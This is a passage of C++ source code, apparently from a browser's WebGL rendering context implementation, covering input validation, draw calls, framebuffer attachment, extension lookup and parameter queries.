ContextGL()->DepthFunc(func);\n}\n\nvoid WebGLRenderingContextBase::depthMask(GLboolean flag) {\n  if (isContextLost())\n    return;\n  depth_mask_ = flag;\n  ContextGL()->DepthMask(flag);\n}\n\nvoid WebGLRenderingContextBase::depthRange(GLfloat z_near, GLfloat z_far) {\n  if (isContextLost())\n    return;\n  // Check required by WebGL spec section 6.12\n  if (z_near > z_far) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"depthRange\", \"zNear > zFar\");\n    return;\n  }\n  ContextGL()->DepthRangef(z_near, z_far);\n}\n\nvoid WebGLRenderingContextBase::detachShader(WebGLProgram* program,\n                                             WebGLShader* shader) {\n  if (!ValidateWebGLProgramOrShader(\"detachShader\", program) ||\n      !ValidateWebGLProgramOrShader(\"detachShader\", shader))\n    return;\n  if (!program->DetachShader(shader)) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"detachShader\",\n                      \"shader not attached\");\n    return;\n  }\n  ContextGL()->DetachShader(ObjectOrZero(program), ObjectOrZero(shader));\n  shader->OnDetached(ContextGL());\n}\n\nvoid WebGLRenderingContextBase::disable(GLenum cap) {\n  if (isContextLost() || !ValidateCapability(\"disable\", cap))\n    return;\n  if (cap == GL_STENCIL_TEST) {\n    stencil_enabled_ = false;\n    ApplyStencilTest();\n    return;\n  }\n  if (cap == GL_SCISSOR_TEST)\n    scissor_enabled_ = false;\n  ContextGL()->Disable(cap);\n}\n\nvoid WebGLRenderingContextBase::disableVertexAttribArray(GLuint index) {\n  if (isContextLost())\n    return;\n  if (index >= max_vertex_attribs_) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"disableVertexAttribArray\",\n                      \"index out of range\");\n    return;\n  }\n\n  bound_vertex_array_object_->SetAttribEnabled(index, false);\n  ContextGL()->DisableVertexAttribArray(index);\n}\n\nbool WebGLRenderingContextBase::ValidateRenderingState(\n    const char* function_name) {\n  // Command buffer will not error if no program is bound.\n  if (!current_program_) {\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                      \"no valid shader program in use\");\n    return false;\n  }\n\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateNullableWebGLObject(\n    const char* function_name,\n    WebGLObject* object) {\n  if (isContextLost())\n    return false;\n  if (!object) {\n    // This differs in behavior to ValidateWebGLObject; null objects are allowed\n    // in these entry points.\n    return true;\n  }\n  return ValidateWebGLObject(function_name, object);\n}\n\nbool WebGLRenderingContextBase::ValidateWebGLObject(const char* function_name,\n                                                    WebGLObject* object) {\n  if (isContextLost())\n    return false;\n  DCHECK(object);\n  if (object->MarkedForDeletion()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                      \"attempt to use a deleted object\");\n    return false;\n  }\n  if (!object->Validate(ContextGroup(), this)) {\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                      \"object does not belong to this context\");\n    return false;\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateWebGLProgramOrShader(\n    const char* function_name,\n    WebGLObject* object) {\n  if (isContextLost())\n    return false;\n  DCHECK(object);\n  // OpenGL ES 3.0.5 p. 45:\n  // \"Commands that accept shader or program object names will generate the\n  // error INVALID_VALUE if the provided name is not the name of either a shader\n  // or program object and INVALID_OPERATION if the provided name identifies an\n  // object that is not the expected type.\"\n  //\n  // Programs and shaders also have slightly different lifetime rules than other\n  // objects in the API; they continue to be usable after being marked for\n  // deletion.\n  if (!object->HasObject()) {\n    SynthesizeGLError(GL_INVALID_VALUE, function_name,\n                      \"attempt to use a deleted object\");\n    return false;\n  }\n  if (!object->Validate(ContextGroup(), this)) {\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                      \"object does not belong to this context\");\n    return false;\n  }\n  return true;\n}\n\nvoid WebGLRenderingContextBase::drawArrays(GLenum mode,\n                                           GLint first,\n                                           GLsizei count) {\n  if (!ValidateDrawArrays(\"drawArrays\"))\n    return;\n\n  if (!bound_vertex_array_object_->IsAllEnabledAttribBufferBound()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"drawArrays\",\n                      \"no buffer is bound to enabled attribute\");\n    return;\n  }\n\n  ScopedRGBEmulationColorMask emulation_color_mask(this, color_mask_,\n                                                   drawing_buffer_.get());\n  OnBeforeDrawCall();\n  ContextGL()->DrawArrays(mode, first, count);\n}\n\nvoid WebGLRenderingContextBase::drawElements(GLenum mode,\n                                             GLsizei count,\n                                             GLenum type,\n                                             int64_t offset) {\n  if (!ValidateDrawElements(\"drawElements\", type, offset))\n    return;\n\n  if (!bound_vertex_array_object_->IsAllEnabledAttribBufferBound()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"drawElements\",\n                      \"no buffer is bound to enabled attribute\");\n    return;\n  }\n\n  ScopedRGBEmulationColorMask emulation_color_mask(this, color_mask_,\n                                                   drawing_buffer_.get());\n  OnBeforeDrawCall();\n  ContextGL()->DrawElements(\n      mode, count, type,\n      reinterpret_cast<void*>(static_cast<intptr_t>(offset)));\n}\n\nvoid WebGLRenderingContextBase::DrawArraysInstancedANGLE(GLenum mode,\n                                                         GLint first,\n                                                         GLsizei count,\n                                                         GLsizei primcount) {\n  if (!ValidateDrawArrays(\"drawArraysInstancedANGLE\"))\n    return;\n\n  if (!bound_vertex_array_object_->IsAllEnabledAttribBufferBound()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"drawArraysInstancedANGLE\",\n                      \"no buffer is bound to enabled attribute\");\n    return;\n  }\n\n  ScopedRGBEmulationColorMask emulation_color_mask(this, color_mask_,\n                                                   drawing_buffer_.get());\n  OnBeforeDrawCall();\n  ContextGL()->DrawArraysInstancedANGLE(mode, first, count, primcount);\n}\n\nvoid WebGLRenderingContextBase::DrawElementsInstancedANGLE(GLenum mode,\n                                                           GLsizei count,\n                                                           GLenum type,\n                                                           int64_t offset,\n                                                           GLsizei primcount) {\n  if (!ValidateDrawElements(\"drawElementsInstancedANGLE\", type, offset))\n    return;\n\n  if (!bound_vertex_array_object_->IsAllEnabledAttribBufferBound()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"drawElementsInstancedANGLE\",\n                      \"no buffer is bound to enabled attribute\");\n    return;\n  }\n\n  ScopedRGBEmulationColorMask emulation_color_mask(this, color_mask_,\n                                                   drawing_buffer_.get());\n  OnBeforeDrawCall();\n  ContextGL()->DrawElementsInstancedANGLE(\n      mode, count, type, reinterpret_cast<void*>(static_cast<intptr_t>(offset)),\n      primcount);\n}\n\nvoid WebGLRenderingContextBase::enable(GLenum cap) {\n  if (isContextLost() || !ValidateCapability(\"enable\", cap))\n    return;\n  if (cap == GL_STENCIL_TEST) {\n    stencil_enabled_ = true;\n    ApplyStencilTest();\n    return;\n  }\n  if (cap == GL_SCISSOR_TEST)\n    scissor_enabled_ = true;\n  ContextGL()->Enable(cap);\n}\n\nvoid WebGLRenderingContextBase::enableVertexAttribArray(GLuint index) {\n  if (isContextLost())\n    return;\n  if (index >= max_vertex_attribs_) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"enableVertexAttribArray\",\n                      \"index out of range\");\n    return;\n  }\n\n  bound_vertex_array_object_->SetAttribEnabled(index, true);\n  ContextGL()->EnableVertexAttribArray(index);\n}\n\nvoid WebGLRenderingContextBase::finish() {\n  if (isContextLost())\n    return;\n  ContextGL()->Flush();  // Intentionally a flush, not a finish.\n}\n\nvoid WebGLRenderingContextBase::flush() {\n  if (isContextLost())\n    return;\n  ContextGL()->Flush();\n}\n\nvoid WebGLRenderingContextBase::framebufferRenderbuffer(\n    GLenum target,\n    GLenum attachment,\n    GLenum renderbuffertarget,\n    WebGLRenderbuffer* buffer) {\n  if (isContextLost() || !ValidateFramebufferFuncParameters(\n                             \"framebufferRenderbuffer\", target, attachment))\n    return;\n  if (renderbuffertarget != GL_RENDERBUFFER) {\n    SynthesizeGLError(GL_INVALID_ENUM, \"framebufferRenderbuffer\",\n                      \"invalid target\");\n    return;\n  }\n  if (!ValidateNullableWebGLObject(\"framebufferRenderbuffer\", buffer))\n    return;\n  if (buffer && (!buffer->HasEverBeenBound())) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"framebufferRenderbuffer\",\n                      \"renderbuffer has never been bound\");\n    return;\n  }\n  // Don't allow the default framebuffer to be mutated; all current\n  // implementations use an FBO internally in place of the default\n  // FBO.\n  WebGLFramebuffer* framebuffer_binding = GetFramebufferBinding(target);\n  if (!framebuffer_binding || !framebuffer_binding->Object()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"framebufferRenderbuffer\",\n                      \"no framebuffer bound\");\n    return;\n  }\n  // Don't allow modifications to opaque framebuffer attachements.\n  if (framebuffer_binding && framebuffer_binding->Opaque()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"framebufferRenderbuffer\",\n                      \"opaque framebuffer bound\");\n    return;\n  }\n  framebuffer_binding->SetAttachmentForBoundFramebuffer(target, attachment,\n                                                        buffer);\n  ApplyStencilTest();\n}\n\nvoid WebGLRenderingContextBase::framebufferTexture2D(GLenum target,\n                                                     GLenum attachment,\n                                                     GLenum textarget,\n                                                     WebGLTexture* texture,\n                                                     GLint level) {\n  if (isContextLost() || !ValidateFramebufferFuncParameters(\n                             \"framebufferTexture2D\", target, attachment))\n    return;\n  if (!ValidateNullableWebGLObject(\"framebufferTexture2D\", texture))\n    return;\n  // TODO(crbug.com/919711): validate texture's target against textarget.\n\n  // Don't allow the default framebuffer to be mutated; all current\n  // implementations use an FBO internally in place of the default\n  // FBO.\n  WebGLFramebuffer* framebuffer_binding = GetFramebufferBinding(target);\n  if (!framebuffer_binding || !framebuffer_binding->Object()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"framebufferTexture2D\",\n                      \"no framebuffer bound\");\n    return;\n  }\n  // Don't allow modifications to opaque framebuffer attachements.\n  if (framebuffer_binding && framebuffer_binding->Opaque()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"framebufferTexture2D\",\n                      \"opaque framebuffer bound\");\n    return;\n  }\n  framebuffer_binding->SetAttachmentForBoundFramebuffer(\n      target, attachment, textarget, texture, level, 0, 0);\n  ApplyStencilTest();\n}\n\nvoid WebGLRenderingContextBase::frontFace(GLenum mode) {\n  if (isContextLost())\n    return;\n  ContextGL()->FrontFace(mode);\n}\n\nvoid WebGLRenderingContextBase::generateMipmap(GLenum target) {\n  if (isContextLost())\n    return;\n  if (!ValidateTextureBinding(\"generateMipmap\", target))\n    return;\n  ContextGL()->GenerateMipmap(target);\n}\n\nWebGLActiveInfo* WebGLRenderingContextBase::getActiveAttrib(\n    WebGLProgram* program,\n    GLuint index) {\n  if (!ValidateWebGLProgramOrShader(\"getActiveAttrib\", program))\n    return nullptr;\n  GLuint program_id = ObjectNonZero(program);\n  GLint max_name_length = -1;\n  ContextGL()->GetProgramiv(program_id, GL_ACTIVE_ATTRIBUTE_MAX_LENGTH,\n                            &max_name_length);\n  if (max_name_length < 0)\n    return nullptr;\n  if (max_name_length == 0) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"getActiveAttrib\",\n                      \"no active attributes exist\");\n    return nullptr;\n  }\n  LChar* name_ptr;\n  scoped_refptr<StringImpl> name_impl =\n      StringImpl::CreateUninitialized(max_name_length, name_ptr);\n  GLsizei length = 0;\n  GLint size = -1;\n  GLenum type = 0;\n  ContextGL()->GetActiveAttrib(program_id, index, max_name_length, &length,\n                               &size, &type,\n                               reinterpret_cast<GLchar*>(name_ptr));\n  if (size < 0)\n    return nullptr;\n  return MakeGarbageCollected<WebGLActiveInfo>(name_impl->Substring(0, length),\n                                               type, size);\n}\n\nWebGLActiveInfo* WebGLRenderingContextBase::getActiveUniform(\n    WebGLProgram* program,\n    GLuint index) {\n  if (!ValidateWebGLProgramOrShader(\"getActiveUniform\", program))\n    return nullptr;\n  GLuint program_id = ObjectNonZero(program);\n  GLint max_name_length = -1;\n  ContextGL()->GetProgramiv(program_id, GL_ACTIVE_UNIFORM_MAX_LENGTH,\n                            &max_name_length);\n  if (max_name_length < 0)\n    return nullptr;\n  if (max_name_length == 0) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"getActiveUniform\",\n                      \"no active uniforms exist\");\n    return nullptr;\n  }\n  LChar* name_ptr;\n  scoped_refptr<StringImpl> name_impl =\n      StringImpl::CreateUninitialized(max_name_length, name_ptr);\n  GLsizei length = 0;\n  GLint size = -1;\n  GLenum type = 0;\n  ContextGL()->GetActiveUniform(program_id, index, max_name_length, &length,\n                                &size, &type,\n                                reinterpret_cast<GLchar*>(name_ptr));\n  if (size < 0)\n    return nullptr;\n  return MakeGarbageCollected<WebGLActiveInfo>(name_impl->Substring(0, length),\n                                               type, size);\n}\n\nbase::Optional<HeapVector<Member<WebGLShader>>>\nWebGLRenderingContextBase::getAttachedShaders(WebGLProgram* program) {\n  if (!ValidateWebGLProgramOrShader(\"getAttachedShaders\", program))\n    return base::nullopt;\n\n  HeapVector<Member<WebGLShader>> shader_objects;\n  const GLenum kShaderType[] = {GL_VERTEX_SHADER, GL_FRAGMENT_SHADER,\n                                GL_COMPUTE_SHADER};\n  for (unsigned i = 0; i < sizeof(kShaderType) / sizeof(GLenum); ++i) {\n    WebGLShader* shader = program->GetAttachedShader(kShaderType[i]);\n    if (shader)\n      shader_objects.push_back(shader);\n  }\n  return shader_objects;\n}\n\nGLint WebGLRenderingContextBase::getAttribLocation(WebGLProgram* program,\n                                                   const String& name) {\n  if (!ValidateWebGLProgramOrShader(\"getAttribLocation\", program))\n    return -1;\n  if (!ValidateLocationLength(\"getAttribLocation\", name))\n    return -1;\n  if (!ValidateString(\"getAttribLocation\", name))\n    return -1;\n  if (IsPrefixReserved(name))\n    return -1;\n  if (!program->LinkStatus(this)) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"getAttribLocation\",\n                      \"program not linked\");\n    return 0;\n  }\n  return ContextGL()->GetAttribLocation(ObjectOrZero(program),\n                                        name.Utf8().c_str());\n}\n\nbool WebGLRenderingContextBase::ValidateBufferTarget(const char* function_name,\n                                                     GLenum target) {\n  switch (target) {\n    case GL_ARRAY_BUFFER:\n    case GL_ELEMENT_ARRAY_BUFFER:\n      return true;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid target\");\n      return false;\n  }\n}\n\nScriptValue WebGLRenderingContextBase::getBufferParameter(\n    ScriptState* script_state,\n    GLenum target,\n    GLenum pname) {\n  if (isContextLost() || !ValidateBufferTarget(\"getBufferParameter\", target))\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n\n  switch (pname) {\n    case GL_BUFFER_USAGE: {\n      GLint value = 0;\n      ContextGL()->GetBufferParameteriv(target, pname, &value);\n      return WebGLAny(script_state, static_cast<unsigned>(value));\n    }\n    case GL_BUFFER_SIZE: {\n      GLint value = 0;\n      ContextGL()->GetBufferParameteriv(target, pname, &value);\n      if (!IsWebGL2OrHigher())\n        return WebGLAny(script_state, value);\n      return WebGLAny(script_state, static_cast<GLint64>(value));\n    }\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, \"getBufferParameter\",\n                        \"invalid parameter name\");\n      return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n}\n\nWebGLContextAttributes* WebGLRenderingContextBase::getContextAttributes()\n    const {\n  if (isContextLost())\n    return nullptr;\n\n  WebGLContextAttributes* result =\n      ToWebGLContextAttributes(CreationAttributes());\n\n  // Some requested attributes may not be honored, so we need to query the\n  // underlying context/drawing buffer and adjust accordingly.\n  if (CreationAttributes().depth && !GetDrawingBuffer()->HasDepthBuffer())\n    result->setDepth(false);\n  if (CreationAttributes().stencil && !GetDrawingBuffer()->HasStencilBuffer())\n    result->setStencil(false);\n  result->setAntialias(GetDrawingBuffer()->Multisample());\n  result->setXrCompatible(xr_compatible_);\n  result->setDesynchronized(Host()->LowLatencyEnabled());\n  return result;\n}\n\nGLenum WebGLRenderingContextBase::getError() {\n  if (!lost_context_errors_.IsEmpty()) {\n    GLenum error = lost_context_errors_.front();\n    lost_context_errors_.EraseAt(0);\n    return error;\n  }\n\n  if (isContextLost())\n    return GL_NO_ERROR;\n\n  if (!synthetic_errors_.IsEmpty()) {\n    GLenum error = synthetic_errors_.front();\n    synthetic_errors_.EraseAt(0);\n    return error;\n  }\n\n  return ContextGL()->GetError();\n}\n\nconst char* const* WebGLRenderingContextBase::ExtensionTracker::Prefixes()\n    const {\n  static const char* const kUnprefixed[] = {\n      \"\", nullptr,\n  };\n  return prefixes_ ? prefixes_ : kUnprefixed;\n}\n\nbool WebGLRenderingContextBase::ExtensionTracker::MatchesNameWithPrefixes(\n    const String& name) const {\n  const char* const* prefix_set = Prefixes();\n  for (; *prefix_set; ++prefix_set) {\n    String prefixed_name = String(*prefix_set) + ExtensionName();\n    if (DeprecatedEqualIgnoringCase(prefixed_name, name)) {\n      return true;\n    }\n  }\n  return false;\n}\n\nbool WebGLRenderingContextBase::ExtensionSupportedAndAllowed(\n    const ExtensionTracker* tracker) {\n  if (tracker->Draft() &&\n      !RuntimeEnabledFeatures::WebGLDraftExtensionsEnabled())\n    return false;\n  if (!tracker->Supported(this))\n    return false;\n  if (disabled_extensions_.Contains(String(tracker->ExtensionName())))\n    return false;\n  return true;\n}\n\nScriptValue WebGLRenderingContextBase::getExtension(ScriptState* script_state,\n                                                    const String& name) {\n  WebGLExtension* extension = nullptr;\n\n  if (name == WebGLDebugRendererInfo::ExtensionName()) {\n    ExecutionContext* context = ExecutionContext::From(script_state);\n    UseCounter::Count(context, WebFeature::kWebGLDebugRendererInfo);\n    Dactyloscoper::Record(context, WebFeature::kWebGLDebugRendererInfo);\n  }\n\n  if (!isContextLost()) {\n    for (ExtensionTracker* tracker : extensions_) {\n      if (tracker->MatchesNameWithPrefixes(name)) {\n        if (ExtensionSupportedAndAllowed(tracker)) {\n          extension = tracker->GetExtension(this);\n          if (extension) {\n            if (!extension_enabled_[extension->GetName()]) {\n              extension_enabled_[extension->GetName()] = true;\n            }\n          }\n        }\n        break;\n      }\n    }\n  }\n\n  v8::Local<v8::Value> wrapped_extension =\n      ToV8(extension, script_state->GetContext()->Global(),\n           script_state->GetIsolate());\n\n  return ScriptValue(script_state->GetIsolate(), wrapped_extension);\n}\n\nScriptValue WebGLRenderingContextBase::getFramebufferAttachmentParameter(\n    ScriptState* script_state,\n    GLenum target,\n    GLenum attachment,\n    GLenum pname) {\n  if (isContextLost() ||\n      !ValidateFramebufferFuncParameters(\"getFramebufferAttachmentParameter\",\n                                         target, attachment))\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n\n  if (!framebuffer_binding_ || !framebuffer_binding_->Object()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"getFramebufferAttachmentParameter\",\n                      \"no framebuffer bound\");\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n\n  if (framebuffer_binding_ && framebuffer_binding_->Opaque()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"getFramebufferAttachmentParameter\",\n                      \"cannot query parameters of an opaque framebuffer\");\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n\n  WebGLSharedObject* attachment_object =\n      framebuffer_binding_->GetAttachmentObject(attachment);\n  if (!attachment_object) {\n    if (pname == GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE)\n      return WebGLAny(script_state, GL_NONE);\n    // OpenGL ES 2.0 specifies INVALID_ENUM in this case, while desktop GL\n    // specifies INVALID_OPERATION.\n    SynthesizeGLError(GL_INVALID_ENUM, \"getFramebufferAttachmentParameter\",\n                      \"invalid parameter name\");\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  }\n\n  DCHECK(attachment_object->IsTexture() || attachment_object->IsRenderbuffer());\n  if (attachment_object->IsTexture()) {\n    switch (pname) {\n      case GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE:\n        return WebGLAny(script_state, GL_TEXTURE);\n      case GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME:\n        return WebGLAny(script_state, attachment_object);\n      case GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL:\n      case GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE: {\n        GLint value = 0;\n        ContextGL()->GetFramebufferAttachmentParameteriv(target, attachment,\n                                                         pname, &value);\n        return WebGLAny(script_state, value);\n      }\n      case GL_FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING_EXT:\n        if (ExtensionEnabled(kEXTsRGBName)) {\n          GLint value = 0;\n          ContextGL()->GetFramebufferAttachmentParameteriv(target, attachment,\n                                                           pname, &value);\n          return WebGLAny(script_state, static_cast<unsigned>(value));\n        }\n        SynthesizeGLError(GL_INVALID_ENUM, \"getFramebufferAttachmentParameter\",\n                          \"invalid parameter name for renderbuffer attachment\");\n        return ScriptValue::CreateNull(script_state->GetIsolate());\n      default:\n        SynthesizeGLError(GL_INVALID_ENUM, \"getFramebufferAttachmentParameter\",\n                          \"invalid parameter name for texture attachment\");\n        return ScriptValue::CreateNull(script_state->GetIsolate());\n    }\n  } else {\n    switch (pname) {\n      case GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE:\n        return WebGLAny(script_state, GL_RENDERBUFFER);\n      case GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME:\n        return WebGLAny(script_state, attachment_object);\n      case GL_FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING_EXT:\n        if (ExtensionEnabled(kEXTsRGBName)) {\n          GLint value = 0;\n          ContextGL()->GetFramebufferAttachmentParameteriv(target, attachment,\n                                                           pname, &value);\n          return WebGLAny(script_state, value);\n        }\n        SynthesizeGLError(GL_INVALID_ENUM, \"getFramebufferAttachmentParameter\",\n                          \"invalid parameter name for renderbuffer attachment\");\n        return ScriptValue::CreateNull(script_state->GetIsolate());\n      default:\n        SynthesizeGLError(GL_INVALID_ENUM, \"getFramebufferAttachmentParameter\",\n                          \"invalid parameter name for renderbuffer attachment\");\n        return ScriptValue::CreateNull(script_state->GetIsolate());\n    }\n  }\n}\n\nScriptValue WebGLRenderingContextBase::getParameter(ScriptState* script_state,\n                                                    GLenum pname) {\n  if (isContextLost())\n    return ScriptValue::CreateNull(script_state->GetIsolate());\n  const int kIntZero = 0;\n  switch (pname) {\n    case GL_ACTIVE_TEXTURE:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_ALIASED_LINE_WIDTH_RANGE:\n      return GetWebGLFloatArrayParameter(script_state, pname);\n    case GL_ALIASED_POINT_SIZE_RANGE:\n      return GetWebGLFloatArrayParameter(script_state, pname);\n    case GL_ALPHA_BITS:\n      if (drawing_buffer_->RequiresAlphaChannelToBePreserved())\n        return WebGLAny(script_state, 0);\n      return GetIntParameter(script_state, pname);\n    case GL_ARRAY_BUFFER_BINDING:\n      return WebGLAny(script_state, bound_array_buffer_.Get());\n    case GL_BLEND:\n      return GetBooleanParameter(script_state, pname);\n    case GL_BLEND_COLOR:\n      return GetWebGLFloatArrayParameter(script_state, pname);\n    case GL_BLEND_DST_ALPHA:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_BLEND_DST_RGB:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_BLEND_EQUATION_ALPHA:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_BLEND_EQUATION_RGB:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_BLEND_SRC_ALPHA:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_BLEND_SRC_RGB:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_BLUE_BITS:\n      return GetIntParameter(script_state, pname);\n    case GL_COLOR_CLEAR_VALUE:\n      return GetWebGLFloatArrayParameter(script_state, pname);\n    case GL_COLOR_WRITEMASK:\n      return GetBooleanArrayParameter(script_state, pname);\n    case GL_COMPRESSED_TEXTURE_FORMATS:\n      return WebGLAny(script_state, DOMUint32Array::Create(\n                                        compressed_texture_formats_.data(),\n                                        compressed_texture_formats_.size()));\n    case GL_CULL_FACE:\n      return GetBooleanParameter(script_state, pname);\n    case GL_CULL_FACE_MODE:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_CURRENT_PROGRAM:\n      return WebGLAny(script_state, current_program_.Get());\n    case GL_DEPTH_BITS:\n      if (!framebuffer_binding_ && !CreationAttributes().depth)\n        return WebGLAny(script_state, kIntZero);\n      return GetIntParameter(script_state, pname);\n    case GL_DEPTH_CLEAR_VALUE:\n      return GetFloatParameter(script_state, pname);\n    case GL_DEPTH_FUNC:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_DEPTH_RANGE:\n      return GetWebGLFloatArrayParameter(script_state, pname);\n    case GL_DEPTH_TEST:\n      return GetBooleanParameter(script_state, pname);\n    case GL_DEPTH_WRITEMASK:\n      return GetBooleanParameter(script_state, pname);\n    case GL_DITHER:\n      return GetBooleanParameter(script_state, pname);\n    case GL_ELEMENT_ARRAY_BUFFER_BINDING:\n      return WebGLAny(script_state,\n                      bound_vertex_array_object_->BoundElementArrayBuffer());\n    case GL_FRAMEBUFFER_BINDING:\n      return WebGLAny(script_state, framebuffer_binding_.Get());\n    case GL_FRONT_FACE:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_GENERATE_MIPMAP_HINT:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_GREEN_BITS:\n      return GetIntParameter(script_state, pname);\n    case GL_IMPLEMENTATION_COLOR_READ_FORMAT:\n      return GetIntParameter(script_state, pname);\n    case GL_IMPLEMENTATION_COLOR_READ_TYPE:\n      return GetIntParameter(script_state, pname);\n    case GL_LINE_WIDTH:\n      return GetFloatParameter(script_state, pname);\n    case GL_MAX_COMBINED_TEXTURE_IMAGE_UNITS:\n      return GetIntParameter(script_state, pname);\n    case GL_MAX_CUBE_MAP_TEXTURE_SIZE:\n      return GetIntParameter(script_state, pname);\n    case GL_MAX_FRAGMENT_UNIFORM_VECTORS:\n      return GetIntParameter(script_state, pname);\n    case GL_MAX_RENDERBUFFER_SIZE:\n      return GetIntParameter(script_state, pname);\n    case GL_MAX_TEXTURE_IMAGE_UNITS:\n      return GetIntParameter(script_state, pname);\n    case GL_MAX_TEXTURE_SIZE:\n      return GetIntParameter(script_state, pname);\n    case GL_MAX_VARYING_VECTORS:\n      return GetIntParameter(script_state, pname);\n    case GL_MAX_VERTEX_ATTRIBS:\n      return GetIntParameter(script_state, pname);\n    case GL_MAX_VERTEX_TEXTURE_IMAGE_UNITS:\n      return GetIntParameter(script_state, pname);\n    case GL_MAX_VERTEX_UNIFORM_VECTORS:\n      return GetIntParameter(script_state, pname);\n    case GL_MAX_VIEWPORT_DIMS:\n      return GetWebGLIntArrayParameter(script_state, pname);\n    case GL_NUM_SHADER_BINARY_FORMATS:\n      // FIXME: should we always return 0 for this?\n      return GetIntParameter(script_state, pname);\n    case GL_PACK_ALIGNMENT:\n      return GetIntParameter(script_state, pname);\n    case GL_POLYGON_OFFSET_FACTOR:\n      return GetFloatParameter(script_state, pname);\n    case GL_POLYGON_OFFSET_FILL:\n      return GetBooleanParameter(script_state, pname);\n    case GL_POLYGON_OFFSET_UNITS:\n      return GetFloatParameter(script_state, pname);\n    case GL_RED_BITS:\n      return GetIntParameter(script_state, pname);\n    case GL_RENDERBUFFER_BINDING:\n      return WebGLAny(script_state, renderbuffer_binding_.Get());\n    case GL_RENDERER:\n      return WebGLAny(script_state, String(\"WebKit WebGL\"));\n    case GL_SAMPLE_ALPHA_TO_COVERAGE:\n      return GetBooleanParameter(script_state, pname);\n    case GL_SAMPLE_BUFFERS:\n      return GetIntParameter(script_state, pname);\n    case GL_SAMPLE_COVERAGE:\n      return GetBooleanParameter(script_state, pname);\n    case GL_SAMPLE_COVERAGE_INVERT:\n      return GetBooleanParameter(script_state, pname);\n    case GL_SAMPLE_COVERAGE_VALUE:\n      return GetFloatParameter(script_state, pname);\n    case GL_SAMPLES:\n      return GetIntParameter(script_state, pname);\n    case GL_SCISSOR_BOX:\n      return GetWebGLIntArrayParameter(script_state, pname);\n    case GL_SCISSOR_TEST:\n      return GetBooleanParameter(script_state, pname);\n    case GL_SHADING_LANGUAGE_VERSION:\n      return WebGLAny(\n          script_state,\n          \"WebGL GLSL ES 1.0 (\" +\n              String(ContextGL()->GetString(GL_SHADING_LANGUAGE_VERSION)) +\n              \")\");\n    case GL_STENCIL_BACK_FAIL:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_STENCIL_BACK_FUNC:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_STENCIL_BACK_PASS_DEPTH_FAIL:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_STENCIL_BACK_PASS_DEPTH_PASS:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_STENCIL_BACK_REF:\n      return GetIntParameter(script_state, pname);\n    case GL_STENCIL_BACK_VALUE_MASK:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_STENCIL_BACK_WRITEMASK:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_STENCIL_BITS:\n      if (!framebuffer_binding_ && !CreationAttributes().stencil)\n        return WebGLAny(script_state, kIntZero);\n      return GetIntParameter(script_state, pname);\n    case GL_STENCIL_CLEAR_VALUE:\n      return GetIntParameter(script_state, pname);\n    case GL_STENCIL_FAIL:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_STENCIL_FUNC:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_STENCIL_PASS_DEPTH_FAIL:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_STENCIL_PASS_DEPTH_PASS:\n      return GetUnsignedIntParameter(script_state, pname);\n    case GL_STENCIL_REF:\n      return GetIntParameter(script_state, pname);\n    case GL_STENCIL_TEST:\n      return WebGLAny(script_state, stencil_enabled_);\n    case GL_STENCIL_VALUE_MASK:\n      return 